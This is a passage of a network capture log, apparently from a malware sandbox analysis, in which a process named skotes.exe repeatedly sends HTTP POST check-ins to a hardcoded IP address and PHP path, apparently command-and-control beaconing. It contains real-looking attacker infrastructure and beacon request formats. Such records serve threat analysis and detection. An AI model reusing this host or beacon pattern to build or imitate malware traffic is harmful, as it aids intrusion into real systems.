Nov 20, 2024 04:10:05.860258102 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 20, 2024 04:10:06.551498890 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Nov 2024 03:10:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
62	192.168.2.4	63508	185.215.113.43	80	8168	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 04:10:08.067003965 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 37 32 37 37 33 42 35 35 38 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B72773B55882D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
63	192.168.2.4	63509	185.215.113.43	80	8168	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 04:10:11.424392939 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 20, 2024 04:10:11.650592089 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Nov 2024 03:10:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
64	192.168.2.4	63514	185.215.113.43	80	8168	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 04:10:13.166721106 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 37 32 37 37 33 42 35 35 38 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B72773B55882D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 20, 2024 04:10:13.864573956 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Nov 2024 03:10:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
65	192.168.2.4	63515	185.215.113.43	80	8168	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 04:10:15.500226021 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 20, 2024 04:10:16.204274893 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Nov 2024 03:10:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
66	192.168.2.4	63516	185.215.113.43	80	8168	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 04:10:17.716761112 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 37 32 37 37 33 42 35 35 38 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B72773B55882D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 20, 2024 04:10:18.411147118 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Nov 2024 03:10:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
67	192.168.2.4	63522	185.215.113.43	80	8168	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 04:10:20.051269054 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 20, 2024 04:10:20.741405964 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Nov 2024 03:10:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
68	192.168.2.4	63526	185.215.113.43	80	8168	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 04:10:22.269743919 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 37 32 37 37 33 42 35 35 38 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B72773B55882D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 20, 2024 04:10:22.976811886 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Nov 2024 03:10:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
69	192.168.2.4	63527	185.215.113.43	80	8168	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 04:10:24.612154007 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 20, 2024 04:10:25.302206039 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Nov 2024 03:10:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
70	192.168.2.4	63528	185.215.113.43	80	8168	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 04:10:27.027026892 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 37 32 37 37 33 42 35 35 38 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B72773B55882D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 20, 2024 04:10:27.750891924 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Nov 2024 03:10:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
71	192.168.2.4	63531	185.215.113.43	80	8168	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 04:10:32.798198938 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 20, 2024 04:10:33.021878004 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Nov 2024 03:10:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
72	192.168.2.4	63535	185.215.113.43	80	8168	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 04:10:34.553880930 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 37 32 37 37 33 42 35 35 38 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B72773B55882D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 20, 2024 04:10:35.262636900 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Nov 2024 03:10:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
73	192.168.2.4	63546	185.215.113.43	80	8168	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 04:10:36.881768942 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 20, 2024 04:10:37.581085920 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Nov 2024 03:10:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
74	192.168.2.4	63554	185.215.113.43	80	8168	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 04:10:39.098730087 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 37 32 37 37 33 42 35 35 38 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B72773B55882D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 20, 2024 04:10:39.811980963 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Nov 2024 03:10:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
75	192.168.2.4	63557	185.215.113.43	80	8168	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 04:10:41.441154003 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 20, 2024 04:10:42.162437916 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Nov 2024 03:10:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
76	192.168.2.4	63558	185.215.113.43	80	8168	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 04:10:43.823226929 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 37 32 37 37 33 42 35 35 38 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B72773B55882D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
77	192.168.2.4	63559	185.215.113.43	80	8168	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 04:10:45.969578028 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 20, 2024 04:10:46.679712057 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Nov 2024 03:10:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
78	192.168.2.4	63562	185.215.113.43	80	8168	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 04:10:48.194295883 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 37 32 37 37 33 42 35 35 38 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B72773B55882D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 20, 2024 04:10:48.888576031 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Nov 2024 03:10:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
79	192.168.2.4	63563	185.215.113.43	80	8168	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 04:10:50.517400026 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 20, 2024 04:10:51.237915993 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Nov 2024 03:10:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
80	192.168.2.4	63566	185.215.113.43	80	8168	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 04:10:52.748683929 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 37 32 37 37 33 42 35 35 38 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B72773B55882D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 20, 2024 04:10:53.451409101 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Nov 2024 03:10:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
81	192.168.2.4	63567	185.215.113.43	80	8168	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 04:10:55.079019070 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 20, 2024 04:10:55.769010067 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Nov 2024 03:10:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
82	192.168.2.4	63569	185.215.113.43	80	8168	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 04:10:57.284255028 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 37 32 37 37 33 42 35 35 38 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B72773B55882D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 20, 2024 04:10:58.060573101 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Nov 2024 03:10:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
83	192.168.2.4	63570	185.215.113.43	80	8168	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 04:10:59.675715923 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 20, 2024 04:11:00.384295940 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Nov 2024 03:11:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
84	192.168.2.4	63572	185.215.113.43	80	8168	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 04:11:01.901515007 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 37 32 37 37 33 42 35 35 38 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B72773B55882D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 20, 2024 04:11:02.623301029 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Nov 2024 03:11:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
85	192.168.2.4	63573	185.215.113.43	80	8168	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
